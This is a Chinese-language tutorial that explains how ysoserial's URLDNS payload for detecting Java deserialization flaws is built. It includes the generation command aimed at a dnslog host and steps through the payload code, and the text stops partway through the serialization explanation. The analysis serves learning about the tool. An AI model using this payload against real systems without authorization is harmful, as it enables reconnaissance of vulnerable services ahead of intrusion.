前言
Java反序列化漏洞 利用时,总会使用到ysoserial这款工具,安服仔用了很多,但是工具的原理却依旧不清不楚,当了这么久的脚本仔,是时候当一波(实习)研究仔,学习下这款工具各个Payload的原理了,下面我们先从漏洞探测模块URLDNS这个Payload开始学起,逐步衍生到漏洞利用模块。
为什么URLDNS模块会发送DNSLOG请求?
分析
下载ysoserial项目,打开pom.xml,程序入口在 ysoserial.GeneratePayload
打开GeneratePayload.java,找到main方法,代码如下:
当我们使用ysoserial执行以下命令时:
java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lyxhh.dnslog.cn" > dnslog.ser
首先ysoserial获取外面传入的参数,并赋值给对应的变量。
inal String payloadType = args[0]; // URLDNS
final String command = args[1]; //http://lyxhh.dnslog.cn
接着执行 Utils.getPayloadClass("URLDNS");
,根据全限定类名 ysoserial.payloads.URLDNS
,获取对应的Class类对象。
final ObjectPayload payload = payloadClass.newInstance();
然后通过反射创建Class类对应的对象,走完这句代码,URLDNS对象创建完成。
final Object object = payload.getObject("http://lyxhh.dnslog.cn");
接着执行URLDNS对象中的getObject方法。
getObject方法中:
URLStreamHandler handler = new SilentURLStreamHandler();
创建了URLStreamHandler对象,该对象的作用,后面我们会详细说到。
接着:
HashMap ht = new HashMap();
创建了HashMap对象:
URL u = new URL(null, "http://lyxhh.dnslog.cn", handler);
URL对象:
ht.put(u, "http://lyxhh.dnslog.cn");
将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。
Reflections.setFieldValue(u, "hashCode", -1);
通过反射机制 设置URL对象的成员变量hashCode值为-1,为什么要设置值为-1,这问题在反序列化时会详细说到。
将HashMap对象返回 return ht;
,接着对 HashMap对象 进行序列化操作 Serializer.serialize(object, out);
并将序列化的结果重定向到 dnslog.ser
文件中。
由于HashMap中重写了writeObject方法,因此在进行序列化操作时,执行的序列化方法是HashMap中的writeObject方法,具体如下:
先执行默认的序列化操作: